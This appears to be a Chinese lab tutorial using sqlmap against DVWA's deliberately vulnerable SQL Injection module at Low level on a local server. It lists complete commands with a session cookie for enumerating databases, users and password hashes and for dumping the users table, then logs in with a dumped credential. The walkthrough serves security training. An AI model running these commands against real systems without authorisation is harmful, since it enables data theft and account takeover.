(七)DVWA之SQL Injection--SQLMap测试(Low)
目录结构
一、测试需求分析
二、SQLMap利用SQL注入漏洞,获取数据库信息
1.判断是否存在注入点
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性
一、测试需求分析
测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:SQLMap自动化工具
其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。
二、SQLMap利用SQL注入漏洞,获取数据库信息
登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

1.判断是否存在注入点
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch
直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。
重新调整SQLMap检测命令,如下:python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

2.获取DBMS中所有的数据库名称
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

3.获取Web应用当前连接的数据库
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

4.列出数据库中的所有用户
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

5.获取Web应用当前所操作的用户
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

6.列出可连接数据库的所有账户-对应的密码哈希
此处列出的是连接数据库的账户信息python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

7.列出指定数据库中的所有数据表
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

8.列出指定数据表中的所有字段(列)
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

9.导出指定数据表中的列字段进行保存
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

10.根据导出的数据,验证数据有效性
| user | password |
|---|---|
| 1337 | charley |
| admin | password |
| gordonb | abc123 |
| pablo | letmein |
| smithy | password |
从以上导出的user---password组合中任取一组,回到前端登录界面进行验证
登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

(七)DVWA之SQL Injection--SQLMap测试(Low)的更多相关文章
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- (九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)
一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能 防御等级:High 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数 ...
- (八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)
一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能 防御等级:Medium 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则 ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
随机推荐
- 我的linux学习日记day5
一.vim 编辑器 有三种模式,命令模式,输入模式,末行模式 1.下面是命令模式常用的命令 2.末行模式常用命令 :w 保存 :q 退出 :q! 强制退出 :wq! 强制保存退出 :set nu 显示 ...
- git命令之切换分支
Git一般有很多分支,我们clone到本地的一般都是master分支,如何进行分支的切换呢?那么下面带大家简单的看看如何通过命令来切换: 1.查看远程仓库及本地的所有分支 命令:git branch ...
- ql自动化测试之路-概述篇
前言:本节主要讲解自动化测试的基本概述,包括分层自动化测试.自动化测试中用到的工具.以及关于自动化测试的想法 一.分层自动化测试 上图是经典的测试金字塔.用它来形容目前测试投入的价值是比较适合的,同样 ...
- lonic常用组件之五------按钮
一.Ionic常用组件之五------按钮 <ion-button color="主题色" size="small/large" expand=& ...
- 爬虫之requests的请求与响应
requests是基于urllib3的一个用于发起http请求的库(中文文档)数据采集流程: 指定url>> 基于 requests模块发起请求>> 获取响应中的数据>& ...
- 【python 】文件下载进度条(装逼利器)
基础版 import requests url = "http://mp.111ttt.cn/mp3free/81135985.mp3" rsp = requests.get(ur ...
- C#常见异常
SystemException 其他用户可处理的异常的基本类 ArgumentException 方法的参数是非法的 ArgumentNullException 一个空参数传递给方法,该方法不能接受该 ...
- LDA模型笔记
“LDA(Latent Dirichlet Allocation)模型,模型主要解决文档处理领域的问题,比如文章主题分类.文章检测.相似度分析.文本分段和文档检索等问题.LDA主题模型是一个三层贝叶斯 ...
- 域渗透分析工具BloodHound
简介:BloodHound是一款将域内信息可视化的单页的web应用程序,是一款在域内进行信息收集的免费工具: Kali中直接命令安装即可 apt-get install bloodhound 打开lo ...
- ftp上传html文件
在用ftp上传当个html文件时,发现html文件会被压缩成一行,在html中的单行注释将后面的代码都注释掉了,导致网页不能正常访问. 8uftp.FlashFXP.filezilla 在这三个ftp ...